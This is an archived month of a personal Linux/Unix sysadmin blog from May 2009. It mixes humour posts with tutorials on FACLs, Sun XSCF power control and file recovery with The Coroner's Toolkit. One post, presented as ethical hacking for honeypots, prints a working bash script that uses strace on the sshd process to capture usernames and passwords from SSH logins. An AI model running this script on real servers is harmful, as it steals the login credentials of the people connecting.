The Linux and Unix Menagerie: May 2009

Sunday, May 31, 2009

Captain Underpants Name Changer

Hey there,

This has almost zero to do with Linux or Unix, so I'm not going to promote it, but I first ran into "Captain Underpants and the Perilous Plot of Professor Poopypants" sometime around 2000.

Back then, the infamous "name changer" email was going around. It was quite lengthy and included a manual process to find your "poopypants" name. I was surprised to actually find the name changer online. There are actually several versions, but this one adheres to the original rules (Some just have you enter your first and last names, but the original has you enter your first name, the first inital of your last name and the last letter of your last name in order to get your "poopypants" name).

Follow this link to the Professor Poopypants Name Change-O-Chart and enjoy an infantile laugh or two :)

Cheers :)

, Pinky Lizardshorts

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Saturday, May 30, 2009

Some Bizarre Foreign Linux Pictures

Happy Saturday to you :)

I'm either off to spend hours watching my 5 year old son test for his orange belt in Tae Kwon Do or laid up in the hospital for not agreeing with him about the philosophical implications of the latest SpongeBob cartoon ;)

I found all of the pictures, below, at linux.duke.edu's icon sub directory. How did I end up there???

If you traverse about the site (the link these pictures are from is just a directory listing) there are many more "bizarre" pictures that have nothing to do with Linux. Proceed at your soul's peril ;)

Cheers,

, Mike

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Friday, May 29, 2009

Old, But Still Interesting, Linux Google Map

Hey there,

The latest entry in my ongoing series of posts I'd feel cheap about self-promoting ;)

Well, this week is turning out to be worse than last week, work-wise. The entire time I was getting my arse kicked by on-call, everything else I was working on took a one week hit. Then, of course, I was foolish enough to enjoy the day off on Memorial Day and, next thing I know, I have 4 days to do 10 days of work. If it weren't for those damned deadlines... ;)

Anyway; enough of my griping. I found this old Linux Google Map picture over at ITknowledgeExchange and busted a gut. Now, I'm in stitches (Didn't see that one coming from around the corner and down the block ;)

Does anyone know if this plugin is still available? I would kill to get my hands on it. Figuratively, of course. This blog in no way endorses violence of any kind, directly. ...only by referral ...just kidding of course ...back to work ;)

, Mike

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Thursday, May 28, 2009

Funny Linux Picture - Strong Arming The Market

I spend entirely too much time working. Today from wakey-time to sleepy-time.

I found this picture over at linuxfooka and thought it was amusing :)

Enjoy - I need to go pass out... :P

, Mike

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Wednesday, May 27, 2009

Snooping For Usernames And Passwords Over SSH Using Strace On Linux

Hey There,

Well, it's about time for me to quit working, so I can get up and make it work on time tomorrow ;) All kidding aside, nowadays, I'm just glad I have a job. This economy is miserable. But I'm still a glass half full kinda guy ;)

It's been a while since we've done any posts on "ethical hacking" (breaking the system to make it more secure), like our old post on grabbing Usernames And Passwords Over Telnet Using TcpDump On Linux, but today, I got a little bug in me and decided to see what could be done about SSH.

Well, SSH is pretty secure - as advertised ;) However, I found that, if you have the root privilege to snoop an interface for username and password traffic, you can just as easily trace SSH processes using strace; getting much the same results. The only real limitation is that you can't grab information that's floating by and/or through your machine; only traffic directly connecting to it. But, if you're setting up a honeypot, the bees should be coming to you, anyway ;)

You can run this shell script (which I'll admit is a little sketchy - written under duress ;) fairly simply, like so:

host # ./ssh-snoop

The picture below shows the minimal interactivity at startup (just to confirm that you get the base SSH process - since the strace call will run down all the forked processes from the root). In the case shown below the username is "user123" and the password is "easyPass" You'll have to sift through a few lines of garbage, but it's better then combing the full strace output:

Click the Picture Below To Biggie-Size Your Passwords ;)

Hope you enjoy this and that it helps you convince at least one other person that a real need for security actually still exists :)

Cheers,

This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# ssh-snoop - not really snooping or tcp-dumping, but close enough :)
#
# 2009 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

ssh_root_proc=`ps -ef|grep "[s]shd"|awk '{ if ( $3 == "1" ) print $2}'`

echo "SSH root proc has been discovered as PID $ssh_root_proc"
echo "Please check ps output below to determine if this is correct"
echo
ps -ef|grep "[s]shd"
echo
echo "enter y or Y if correct or correct PID number.  Ctl-C to exit"
read ssh_pid
if [ "$ssh_pid" = "y" -o "$ssh_pid" = "Y" ]
then
        ssh_pid=$ssh_root_proc
elif [ -z "$ssh_pid" ]
then
        echo "No valid confirmation or PID entered.  Exiting..."
        exit 1
fi

echo "Building user login grep pattern from /etc/passwd"
user_grep=`awk -F":" '{ if ( $3 > 100 ) print $1}' /etc/passwd |xargs -ivar echo -n "var|"|sed 's/$/password/'`

echo "Setting SSH root proc to $ssh_pid"
echo
echo "Dumping Output - Ctl-C to quit and examine"
passcount=9
passpossible=0
strace -f -etrace=write -s 64 -p $ssh_pid 2>&1|while read SSH
do
        pass_test=`echo $SSH|grep -i password` >/dev/null 2>&1
        if [ $? -eq 0 ]
        then
                xline=`echo $SSH 2>&1|grep write`
                echo "POSSIBLE PASSWORD: $xline"
                passpossible=1
        elif [ $passpossible -eq 1 -a $passcount -lt 9 ]
        then
                xline=`echo $SSH 2>&1|grep write`
                echo "POSSIBLE PASSWORD: $xline"
                let passcount=$passcount+1
                passpossible=1
        else
                xline=`echo $SSH 2>&1|grep write|egrep $user_grep`
                if [ ! -z "$xline" ]
                then
                        echo "POSSIBLE USERNAME: $xline"
                fi
                        passcount=0
                        passpossible=0
        fi
done

, Mike

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Tuesday, May 26, 2009

Controlling Group Access To Directories Recursively And Automatically Using Simple FACL's On Linux

Hey there,

Today we're going to take a look at using simple FACL's (file access control lists) to allow additional access restrictions (for one or more groups other than the directory owner's group) to a directory, while ensuring that the change propagates automatically to all subdirectories and files within all or any. Our examples for today should work on most distro's of Linux (and most proprietary Unix distro's), although the actual commands needed may be different ("man getfacl" or "man setfacl" should sort you out). For today's examples, all commands were run on RedHat Enterprise Server 5.2 (Tikanga - A Mãori word idiomatically meaning "The Mãori Way" or, more sanctimoniously, "correct," "right" or "true" - all absolutes ;)

The situation for today's example is pretty simple, although highly useful (of course, those aren't necessarily opposites ;). You have a directory that is owned by the user "user1" and the group "group1." A user name "user2", in the group "group2" needs to have access to your directory and also needs to be able to add new directories and/or files within that directory. To top it off, when either "user1" or "user2" creates a file or directory within the directory to be shared, that directory and/or file must be accessible to both "user1" and "user2" and owned by the group "group1." Simple enough :)

Of course, the easiest way to do this would be to add "user2" to "group1" and be done with it. However, since that might possibly afford "user2" more privilege than is actually needed (he/she may be able to access other files/directories that are owned by "group1"), a more restrictive solution is required. This is where simple FACL's come into play.

First, we'll take a quick look at the directory in question, with ls -l:

host # ls -ld shared_dir
drwxrwx---  2 user1  group1  512 May 25 13:24 shared_dir

Once we're done, it will look almost exactly the same, except for the "+" symbol at the end of the alpha permissions display (This is an additional field, as opposed to setuid, setgid and sticky bit which replace the final alpha permissions field with a substitute character) As a point of note; some distributions include the "+" symbol at the end of "every" file, since all files/directories (on a filesystem that supports FACL's) have a default FACL. This seem counter-intuitive to me, since it makes it harder to eyeball which files/directories you've mucked with on purpose ;)

host # ls -ld shared_dir
drwxrwx---+ 2 user1 group1 512 May 25 13:24 shared_dir

Now, in order to make the whole concept of FACL's more accessible, it should be noted (at least, these days) that "all" files have FACL's (see slight caveat above), even if you don't explicitly set them. These FACL's mirror the existing file/directory permissions by default and you'll only the see the "+" symbol on files/directories where the default FACL has been modified (which is what we're going to do).

For instance, the FACL for our original shared_dir, looks like this before we even do anything, and can be obtained with the "getfacl" command (consider owner: user1, group:group1 and permissions of 770 - or drwxrwx---):

host # getfacl shared_dir
# file: shared_dir
# owner: user1
# group: group1

user::rwx
group::rwx
mask::rwx
other::---

All pound (#) comments are not acted upon, just like in most scripting languages. You can remove them, but they'll get automatically recreated every time you run a FACL command.

So, for this directory, we want to allow the group "group2" recursive read, write and execute permissions (read permissions, so they can see the contents of the directory or read any files in it, write permissions, so they can create new files/directories within the directory and/or write to files in it, and execute permissions, so that they can cd into the directory and/or execute files within it)

Luckily for us, this is actually fairly simple. All we need to do is to make use of the "setfacl" command.

host # setfacl -m g:group2:rwx shared_dir

This will change the FACL settings for the shared_dir directory, but won't do "exactly" what we want:

host # getfacl shared_dir
# file: shared_dir
# owner: user1
# group: group1

user::rwx
group::rwx
group:group2:rwx
mask::rwx
other::---

While doing this will allow "group2" read, write and execute access to the directory "shared_dir", the extended access will begin and end with the "shared_dir" directory, and any files/directories created by any user in "group2" will still be owned by "group2" when they are written to this directory.

If we want to satisfy the one remaining requirement (allowing "group2" to create new files/directories within "shared_dir" and have them all belong to "group1", with the unique FACL applied to each and every one), we need to set "default FACL's". Again, this is very simply done, and very easy to manage using the setfacl command Our first command will be to remove the rule we added with our last command. Then we'll set default FACL's for everyone and for the specific users and groups:

host # setfacl -x g:group2:rwx shared_dir
host # setfacl -d -m u:user1:rwx shared_dir
host # setfacl -d -m g:group1:rwx shared_dir
host # setfacl -d -m u:user2:rwx shared_dir
host # setfacl -d -m g:group2:rwx shared_dir

If you use the form above (which is, admittedly, more strict than it needs be; but I'm a control freak ;) and don't see the extra "default" FACL entries for the default user and group that own the file/directory, you can set those like this (also using setfacl):

host # setfacl -m d:u:rwx shared_dir
host # setfacl -m d:g:rwx shared_dir
host # setfacl -m d:o:--- shared_dir

These three entries should be put into your new FACL for the shared_dir by default, when you type the highly-specific FACL commands above, but if they're not, you'll want to add them. They are the key to propagating correct permissions on all new files/directories created within that directory.

Now typing "getfacl" should show you a dramatically different output:

host # getfacl shared_dir
# file: shared_dir
# owner: user1
# group: group1

user::rwx
group::rwx
mask::rwx
other::---
default:user::rwx
default:user:user1:rwx
default:user:user2:rwx
default:group::rwx
default:group:group1:rwx
default:group:group2:rwx
default:mask::rwx
default:other::---

As I mentioned, you could leave out all the commands pertaining to the original owner (and group) of the file, but I like to be as specific as possible, just in case. Now, any file/directory that either user1, user2, or members of group1 or group2 create in this directory will have 770 permissions (rwxrwx---+) and their group will be set to "group1." You can also easily tell that your settings have worked by looking for the "+" symbol at the end of newly created files, which indicates that the FACL has been applied to your new file (although with a slightly different output for files than for directories):

host # who am i
user2
host # touch shared_dir/test
host # ls -l shared_dir
total 0
drwxrwx---+ 2 user2 group1 96 May 1 14:01 test

host # getfacl shared_dir/test
# file: test
# owner: user2
# group: group1

user::rw-
user:user1:rwx
user:user2:rwx
group::rwx
group:group1:rwx
group:group2:rwx
mask::rwx
other::---

And that's that :) If you still don't get the group propagation that you're expecting, it may not be supported on your OS. In that case, you can add this additional command (on top of the FACL's) to ensure that the correct group "sticks":

host # chmod g+s shared_dir

And you should be all set :)

Cheers,

, Mike

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Monday, May 25, 2009

Memorial Day ASCII Art For Linux And Unix

Happy Memorial Day

I'm always curious about how to type that, since this Holiday is a way of keeping the memories of our fallen soldiers alive. We're celebrating (and I mean that in the most somber sense of the word) fellow countrymen who've died fighting wars for our country. In any event, we salute them. If an exclamation point is warranted, please feel free to mentally tag it on.

The piece of ASCII art that was the inspiration for my script today was, again, found on Joan Stark's wonderful and eclectic ASCII Art Site. There's a lot of great stuff over there, even ASCII animations.

A happy Memorial Day to you all, and a silent prayer that, one day, the list of our dead will no longer continue to grow.

Click the ASCII art US Flag below and remember

This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# memorial.sh - 
#
# 2009 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

echo -en "   (_)\n    <___>\n     | |______\n     | |* * * )\n     | | * * (_________\n     | |* * * |* *|####)\n     | | * * *| * |   (________________\n     | |* * * |* *|####|##############|\n     | | * * *| * |    |              |\n     | |* * * |* *|####|##############|\n     | |~~~~~~| * |    |              |\n     | |######|* *|####|##############|\n     | |      |~~~'    |              |\n     | |######|########|##############|\n     | |      |        |              |\n     | |######|########|##############|\n     | |~~~~~~|        |              |\n     | |      |########|##############|\n     | |      '~~~~~~~~|              |\n     | |               |##########JGS#|\n     | |               '~~~~~~~~~~~~~~~\n     | |\n     | |\n     | |\n"

, Mike

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Sunday, May 24, 2009

No Post Today

Never mind the obvious contradiction in the title ;)

After an insane week of getting no sleep during on-call (all through yesterday morning... or this morning... confused ;) I didn't get a single page today and slept for 18 hours. Normally I'd crank out a post, but my nervous system is shot :P

Hopefully, you're having a nice relaxing Sunday, too :)

, Mike

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Saturday, May 23, 2009

Some Funny Linux/Computer Pictures

Here's wishing you all a wonderful Saturday,

I'm finishing up my on-call week this weekend (which is getting stretched an extra day so I can enjoy the Holiday and experience vague, yet gnawing, anxiety at the same time ;)

Actually, and unfortunately, the above statement is in the neighborhood of the truth. Our company actually has work planned for the Holiday :(

This is a theme I return to over and over again in this blog, because (I suppose) I'm old-fashioned and fear that I will never truly understand my generation's obsession with work as a substitute for virtually everything. I get that it's a lot easier to ignore society while we "get things done," but I'm thoroughly confused about the amount of perceived social anxiety in the world. Maybe all those pharmaceutical commercials are doing "their" job ;)

I say, save your work for when you have to be at work, and relax and enjoy yourself when you have the time off. My philosophy also includes a stipulation that one should go out and buy something (or at least browse) at a store every once in a while, happen upon some real people and maybe even talk to them (if it isn't a totally awkward situation ;) It's no lie that my daughter Instant Messages her closest friend all night (well before curfew) and her closest friend (no joke) lives across the parking lot from us. Her townhome's front door is, literally, 10 or 15 feet from our garage. ??? Am I nuts, or are we (as a people) facing massive global social retardation within a few generations?

Anyway, enough of the serious stuff. Below are a couple of pictures I found over at mahopa.de. They've got a ton more, although some may not be amusing at all. For instance, I don't get the first picture below (the caps-lock picture). Why is it funny? I have no idea. My mother is German (like the site, except human ;) and I still don't understand the joke. Thank God there's no one around for me to have to ask ;)

Cheers,

The caps-lock key. Funny because it's true?

, Mike

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Friday, May 22, 2009

Caught On Film: Another Gigantic Computer!

Hey There,

My disastrous posting last week of that really cool gigantic old computer, which turned out to be a fake so well known it's actually listed at snopes.com, I have yet to finish responding to half of the emails I've received. For the first time in my life, I'm considering writing a form letter. But I probably won't, since I hate canned responses.

Ex:

Person A:  Hi, what's going on?

Person B:  Great, thanks!

That's actually a test I use in real life to find out if my son is paying attention to a single word I'm saying ;)

Below is another real picture of another fake computer. This one is slightly more obvious than the last, but I found it was incredibly difficult to find any other fake pictures of old-style gargantuan computers. ...Which makes me feel even more like a goof.

Hope you enjoy this, and be sure to do whatever the dictator on the distinctly Cuban display is commanding you to do (It most likely involves giving up all your material possessions and subjugating your will to the state ;)

This post is a bit self-indulgent, but if I didn't poke fun at myself every once in a while, a lot more people would hate me ;)

Cheers,

, Mike

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Thursday, May 21, 2009

Powering Sun M4000/5000 Series Servers Down And Up From The XSCF

Hey There,

Today's post is more beginner-oriented than the last few days' posts on deleted data recovery on Linux and Unix.

Below is a little walkthrough on the very basics of powering on, and powering off, M4000/5000 Series Sun Servers from the XSCF (eXtended System Controller Facility, or something roughly approximate) command line. These instructions should also apply to the M8000/9000 Series servers as well, but, since I'm getting all my output directly from an M4000, I don't want to "assume" anything incorrect about the higher end servers.

The basic steps we're going to walk through are simply logging in, powering down a domain, powering on a domain, and jumping back and forth between the XSCF command line and the M4000 console.

For the purposes of today's post, we're going to assume that the basic XSCF setup has been completed and you have an admin login account on it. You've also set up ssh (naturally) and disabled the web-based interface (because its so insecure... ;) Your admin account is "admin" - Also, in the spirit of keeping this simple, we're going to assume that you've only set up one domain on your M4000, and you've used the default first domain: domain 0.

Connecting to the XSCF is as simple as connecting to any server, assuming you have an account ;)

host # ssh admin@host-xscf
admin@host-xscf's password:
Last login: Sat Mar 28 17:55:52 2009 from fridgehost.beernutz.com

Once you're logged on, if you want to get to the console of your M4000 server, all you need to do is use the "console" command, like so (-d denotes the domain number and I use -y so I don't have to answer the "are you sure?" question every time):

XSCF> console -d 0 -y
Connect to DomainID 0?[y|n] :y

host console login: user
Password:
-bash-3.00$ exit

To get back to the XSCF prompt from the console, just type "pound dot" (literally #.) and it will kick you back to the XSCF from the console.

host console login: #.
XSCF>

Powering off the M4000 from the XSCF prompt is even more trivial ;) It should be noted that running "poweroff" at the XSCF command line is equal to running "init 5" at the command line, as root. "poweroff" will not tell you if your command was successful or not (neither will "poweron"), but you can find out the status of your request easily, by using the "showlogs" command. Also, just running "poweroff" again will let you know the status. If your previous invocation worked, you'll get an error that the machine is already powered off:

XSCF> poweroff -d 0 -y
DomainIDs to power off:00
Continue? [y|n] :y
....
XSCF> showlogs power
Example: Jan 08 16:47:45 EST 2009 Domain Power Off Operator 00 Locked
XSCF> exit

Powering on the server from the XSCF prompt is pretty much the same rigmarole :)

XSCF> poweron -d 0 -y
DomainIDs to power on:00
Continue? [y|n] :y
....
XSCF> showlogs power
Example: Jan 08 16:47:45 EST 2009 Domain Power On Operator 00 Locked
XSCF>

And that will, eventually, bring you right back to up. You can log into the console, from the XSCF prompt, before POST begins, if you want to see everything that happens on the console when you boot:

XSCF> console -d 0 -y
Connect to DomainID 0?[y|n] :y

b0939db-s console login: user
Password:
Last login: Sun Apr 5 16:57:14 from host
-bash-3.00$ exit

host console login: #.
XSCF> exit

And that's pretty much all there is to powering on and off your M4000/5000 Series server using the XSCF :)

Enjoy, but (as always) use caution if you're not sure what you're doing. As one last hint. If you get stuck at the XSCF prompt and need to know what to type next (There are no obvious hints), just type:

XSCF> man intro

or

XSCF> [tab][tab]
do you want to see all .... entries

That's literally hitting the tab key twice, above. Then it will ask you if you want to see all the available commands listed out. If you know what you want to do and you just can't remember the command name, [tab][tab] is your friend. If you think you know the name, and you also need to know a little bit about the command, then the man page for "intro" is your best bet.

Enjoy and cheers

, Mike

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Wednesday, May 20, 2009

Using TCT To Recover Lost Data On Linux Or Unix - Part Two

Hey there,

Today's post is a follow up to yesterday's post (conspicuously titled Recovering Lost Data On Linux or Unix Using TCT, or something like that ;). Please refer to that post for the 3 or 4 paragraphs of over-explanation of some of the minutiae which may or may not be helpful to you :)

Today, we'll move on to the second (easier, but more time-consuming) method of recovering your deleted data (on any Linux or Unix system) using The Coroner's Toolkit (TCT). Today, we'll be using lazarus to make file recovery somewhat simpler. Again, please see yesterday's post on Recovering Lost Data if you're recovering simple text files and/or just want to use unrm and be done with it.

The situation today, will be the same as yesterday.

THE SITUATION: You've created a text file, containing valuable information that you couldn't commit to memory, using your favorite text editor and saved it. Then, an hour or so later, you accidentally deleted it, realizing that you'd completely screwed up just seconds after pressing the enter key. Deja Vu? ;)

host # cat /usr/THE_ALMOST_LOST_FILE
we'll just put some
semi-random text in
here to see if we can
find this later with
grep.  For simplicity's
sake, we'll include the
word semi-unusual so that we
have something in this
file that probably won't
be in any other files
host # rm /usr/THE_ALMOST_LOST_FILE
host # cat /usr/THE_ALMOST_LOST_FILE
cat: cannot open /usr/THE_ALMOST_LOST_FILE

Now, since we've already created our recovery area (required to be on a separate partition than the one on which we lost the data) and have run unrm to create that one gigantic file composed of all the free blocks on the partition where we accidentally deleted our file, we're ready to make the process of data recovery simpler using lazarus (Longest sentence ever? Maybe not ;)

Lazarus is a simple tool to run, but it does come with a few caveats:

1. Unlike unrm(not a double-negative ;), which only requires that you have 100% of the free space available on the partition where you deleted your file, available on your recovery partition, lazarus requires you to have 220% of that space available. These sentences are "killing" me! Apologies for any confusion caused by their Byzantine structure ;)

2. Lazarus depends on the output from unrm, so you'll need to run that first. Technically you can run lazarus against any file, but your results may be less than satisfactory.

3. Lazarus picks apart the gigantic block-file created by unrm and separates it into individual files and tags those files as being of a certain type (text, audio, HTML, C code, etc). This makes it take a very very long time to complete execution. Depending upon the amount of free space on the partition on which you deleted the file you wish to recover, you may be waiting days (literally) for lazarus to complete its work!

Below is a listing of the common file types lazarus will recognize. It will assign the corresponding letters to the files it cranks out. As an example, if it finds a block that's composed of "unresolved text" it will save it as: BLOCKNUMBER.TYPE.txt (All files will have the extension .txt, although lazarus does allow you to produce HTML output instead, with the -h flag). So, if it recovered block number 3714, which happened to be tar/cpio, etc file, it would name it: 3714.a.txt

THE LAZARUS BLOCK FILE OUTPUT LEGEND:

A "." represents unrecognized binary blocks of data.
type value color meaning

t 777777 gray unresolved text
f ff0000 bright red (alarm) sniffer stuff
m 0066ff blue mail
q 6633ff pale blue mailq files
s 6699ff purply emacs/lisp
p cc6666 greenish program file
c 336666 green C code
h ff99ff light purple HTML
w cc3333 reddish password file
l cc9900 light brown log file

Binary files are represented by:

type value color meaning
o bbbbbb light grey null block
r 000000 black removed block
x 000000 black binary exe
e d9d9i9 gold ELF
i 238e68 greenish JPG/GIF
a d19275 black cpio/tar/etc
z 336633 greenish compressed
! 000000 black audio

When you run lazarus, it can be as simple as just invoking the command (assuming you've run unrm already). Using our example from yesterday's post on Data Recovery, we could invoke it using the method below (and then kick back and wait and wait and wait...):

NOTE: The files, etc, used in these examples are the same as in yesterday's post. Please refer back to that post (hyperlinked to, a few times, above) if you have any questions about the command lines below that don't require further explanation in this context). The file entitled "the_found_file_I_hope" is the gigantic block file we created with unrm yesterday.

NOTE: Unless you run lazarus with the -D option, it will create the "blocks" subdirectory in TCT's base directory!

First, we'll check again to see if text from our deleted file even exists in our unrm block recovery file:

host # du -sh /usr/local/recovery/the_found_file_I_hope
1.7G /usr/local/recovery/the_found_file_I_hope
host # egrep -il 'unusual|later|random' /usr/local/recovery/the_found_file_I_hope
/usr/local/recovery/the_found_file_I_hope

Since we've confirmed that our deleted file is in there (your test may need to be more exact. This experiment has the luxury of being controlled and isn't subject to the normal laws of break-neck work stress ;) we'll go ahead and kick off lazarus:

NOTE: While the display below will seem cool for about 10 minutes, tops, you'll eventually have to walk away from your terminal (unless you can bring it with you into the bathroom ;) - The process run time for combing 1.7GB of data took about 17 hours on a middle-weight desktop server. I can't say for sure, because I left it to finish-up while I went on living my life ;) You'll also find that the output to your screen will be long and, probably, useless to you. Generally, it's not worth watching unless you're really jaded, tired and/or bored ;)

host # ./lazarus /usr/local/recovery/the_found_file_I_hope
....t........tt.....pp.......tt....t.....pp....pp...tt...t...pp..pp........c...
......!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!t.ttt...
....ttt.t.t.aaaaaaatt...tt.t...t....ttt...tt..t...t.tt...t....ttt.t...t.tt..tt.
.tt...tt..t.tt..tt.t...t.tt..tt...tt.t..t.t.....t.ttt.....t.......t...tt......t
t..tt.tt..t..tt..tt..tt..t..t...tt..tt..t...tt...........xxxxxxxxxxxt......aaaa
ahhh..ttt..ttt....ttt..t.t..t..t..t.t.t...t........aaaaaaaaat.t.t.....gggttt.tt
t.ttt.ttt.ttt.ttt.ttt..aaaaaaaaaaaaaaaaaat.t.aaaaaaaaacc..t........aaaaaattt.tt
t.ttt.ttt.ttt.ttt.ttt........t...t......xxxxxxxaaaeeeeee!!!ttt.....t...eeeeeeee
...

As noted above, since we ran lazarus with no command line arguments, the "blocks" subdirectory (which it creates by default) will be located in the base directory in which TCT resides (as opposed to the directory in which you invoked lazarus). In our case, for the sake of argument, we have the binary in /var/tmp/tct-1.18/bin and the "blocks" directory will get automatically created in /var/tmp/tct-1.18.

host # cd /var/tmp/tct-1.18
host # ls
Beware LICENSE TODO blocks help-recovering-file patchlevel
CHANGES MANIFEST TODO.before-next-release conf help-when-broken-into quick-start
COPYRIGHT Makefile additional-resources docs lazarus reconfig
Date OS-NOTES bibliography etc lib src
INSTALL README.FIRST bin extras man www
host # cd blocks
host # ls -1|wc -l
10163
host # ls
1...txt 116389.t.txt 138610.t.txt 162373...txt 174689...txt 178282.t.txt 191521...txt 19517.t.txt 213764.t.txt 38401.p.txt 6250.x.txt
...
116375...txt 13861...txt 162371.t.txt 174682.t.txt 178281...txt 191514.t.txt 195169...txt 213759...txt 38377.t.txt 62006.x.txt

You'll note that the contents of the "blocks" directory are truncated in the output above. This directory (once lazarus has completed its run) is filled with one file per character that you saw in the output during its run. In the interest of keeping this post under 300 pages, the middle was clipped ;)

Now, as we did yesterday, we can use grep to very simply discover which of the 10,163 recovered block files in the "blocks" directory most probably contains our deleted file:

host # grep -l semi-random *
16.t.txt

And, now we can (hopefully) verify that our file is actually in there. As with the output from yesterday's post (just using unrm), this file will probably contain plenty of garbage surrounding the simple text. In this case (since I don't believe in revisionist-history, I'm not going to delete the previous sentence ;) it turns out that my assumption was wrong and we have one very clean copy of our deleted text file :)

home # cat 16.t.txt
we'll just put some
semi-random text in
here to see if we can
find this later with
grep. For simplicity's
sake, we'll include the
word semi-unusual so that we
have something in this
file that probably won't
be in any other files
host #

And, that's all there is to it :) As mentioned previously, this process can take lots and lots of time, although it makes the data discovery much easier in the end; especially if you're dealing with binary data or once-contiguous blocks that are now all still available for recovery, but scattered about. If you use the -h flag to have lazarus output HTML data for you, it will create a mini-website in the "blocks" directory that can make it much easier to piece together binary data, like a picture or an audio file.

Have fun waiting, and here's to your success in recovering your lost data!

Cheers,

, Mike

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Tuesday, May 19, 2009

Recovering Lost Data On Linux Or Unix Using The Coroner's Toolkit (TCT)

Hey there,

Finally, as promised, I'm getting around to finishing this post on recovering lost data on Linux and Unix. I'm far too lazy to look through the insane drivel I posted while I had the flu, but I'm pretty sure this was supposed to go out last week. Perhaps it's all for the best ;)

This is going to be a two-parter, since it seems so incredibly convoluted to explain ;)

The method we'll be using for this walkthrough requires a few tools, plenty of disk space and a good deal of patience (most likely). The two main tools are found in The Coroner's Toolkit (TCT), which you can download for free from the preceding hyperlink. The two tools you'll need from this set of computer forensic tools are:

1. unrm: This command basically creates one gigantic file composed of all the free blocks on the partition you want to do your data recovery from (not to be confused with the partition on which you lost your data).
2. lazarus: This command takes the output of unrm and breaks it up into files (by block), which can make it simpler for you to find your lost data and restore it.

It's recommended, when using unrm, that you mount the partition from which you want to recover data, in read-only mode. If this is impossible, that's not a big deal. It's imperative that you create your unrm recovery file on a "different" partition than the one from which you will be recovering. You will also need to make sure that this separate partition has about 220% of the free space available on the partition from which you want to recover, available for use.

The breakdown on the 220% worth of disk space is pretty simple. On your recovery partition, you'll need 100% of the available free space on the partition from which you want to recover your lost data, just to copy all those free blocks over. Makes sense. Now, the other 120% is, actually, optional and dependant on whether you make use of lazarus or not. If you don't need it (you'll see if you do or don't as we move along), then you'll only need to have that 100% available on your recovery partition. If you do use lazarus, then you'll need an additional 100% for the duplicate blocks that lazarus will create from your unrm output, plus about an additional 20% for overhead (since lazarus will be tagging each block as containing data of a certain type, like audio, picture, text, etc)

From you, as noted above, we'll just need patience. You may get the desired response from this process immediately, but probably not. To prepare recovery from about 2GB of free space, expect unrm to take a minutes or so (only just slightly longer than doing a "cp"). To comb that free space with lazarus, expect to wait (assuming you sit through the entire thing), at least 6 or 7 hours. In all honesty, I left the process running overnight and found it finished when I returned. It had been running for approximately 7 hours when I left it, and "du" indicated that is wasn't even halfway done recreating the individual blocks.

So, for today, we're going to set up the situation and do things the easy way. That's right; for all the explanation above, we will only be using unrm today. Tomorrow, we'll get into lazarus, with a pointer back here to the heavy explanation of the whole process. I'm just trying to save virtual trees. ...or my sanity. ...we'll see ;)

THE SITUATION: You've created a text file, containing valuable information that you couldn't commit to memory, using your favorite text editor and saved it. Then, an hour or so later, you accidentally deleted it, realizing that you'd completely screwed up just seconds after pressing the enter key. Anybody "not" know that feeling? ;)

host # cat /usr/THE_ALMOST_LOST_FILE
we'll just put some
semi-random text in
here to see if we can
find this later with
grep.  For simplicity's
sake, we'll include the
word semi-unusual so that we
have something in this
file that probably won't
be in any other files
host # rm /usr/THE_ALMOST_LOST_FILE
host # cat /usr/THE_ALMOST_LOST_FILE
cat: cannot open /usr/THE_ALMOST_LOST_FILE

So, you're basically screwed (although the contents of your file would be much more compelling than those above ;)

The first thing we'll want to do is create a recovery area on a separate partition that has free space in the amount of 220% of the free space on the partition where we deleted our file (explanation above). We'll only be using 100% today (or would that be approximately 45% of the 220%?). Basically, we'll just need to have the same amount of free space on our recovery partition as exists on the partition we accidentally deleted our file on. We'll just assume that you can't unmount the old partition and mount it read-only (generally the case if you're working on a live system that other people are using ;) For this case, /usr/local looks like a good fit to recover data from /usr on.

host # df -h /usr /usr/local
Filesystem size used avail capacity Mounted on
/dev/dsk/c0t0d0s3 5.0G 3.4G 1.6G 68% /usr
/dev/dsk/c0t0d0s5 49G 2.0G 47G 5% /usr/local

host # mkdir /usr/local/recovery
host # ./unrm /dev/dsk/c0t0d0s3 >/usr/local/recovery/the_found_file_I_hope
./unrm: impossible: unallocated meta block 4228499!!
.....

You'll see a ton of these "unallocated meta block" messages. Ignore them. They're perfectly harmless :)

When the unrm process is complete you will have created one gigantic file, equal (sometimes larger) to the size of the free space available on the partition where you deleted your file accidentally, with the name that you redirected unrm's output to. Let's check out that file:

host # ls /usr/local/recovery/the_found_file_I_hope
/usr/local/recovery/the_found_file_I_hope
host # file /usr/local/recovery/the_found_file_I_hope
/usr/local/recovery/the_found_file_I_hope: data
host # wc -l /usr/local/recovery/the_found_file_I_hope
10481696 /usr/local/recovery/the_found_file_I_hope
host # du -sh /usr/local/recovery/the_found_file_I_hope
1.7G /usr/local/recovery/the_found_file_I_hope
host # egrep -il 'semi-unusual|later|random' /usr/local/recovery/the_found_file_I_hope
/usr/local/recovery/the_found_file_I_hope

And it appears that our file is actually in there :)

Now, since we're not going to use lazarus today, to chunk that huge file up into easy to digest blocks (one, or more, of which would be the text file we deleted), we'll need to get the info back the "old-school" way. This is where lazarus really comes in handy, because, in order for us to extract the file we want, we need to extract it "very specifically" from that huge recovery file. This is somewhat trivial with our text file (that we remember the entire contents of) but can be very tricky with binary data!

Even with text, getting it back from the one big file is going to be messy; especially at the beginning - for instance, we can't grep (using Solaris' grep, anyway) anything from the first line. I found it in line 5 of the huge file unrm created. To demonstrate what I mean, let take a look at line 5 (line 1 of our original text) and line 6 (line 2 or our original text).

Line 2 of our original file is normal looking:

host # grep -n semi-random the_found_file_I_hope
6:semi-random text in
host # sed -n 6p the_found_file_I_hope
semi-random text in

But check out line 1! :

host # grep -n some the_found_file_I_hope 2>&1|head -1
12:have something in this

It didn't get caught (???) Of course, grep has problems with it because the line actually looks like this in the recovery file:

host # sed -n 5p the_found_file_I_hope
l¨oÿÿþp-B
8B0
BBÀÀÜ
LgØRytyt
Xyy
^yy
f}}
Co G
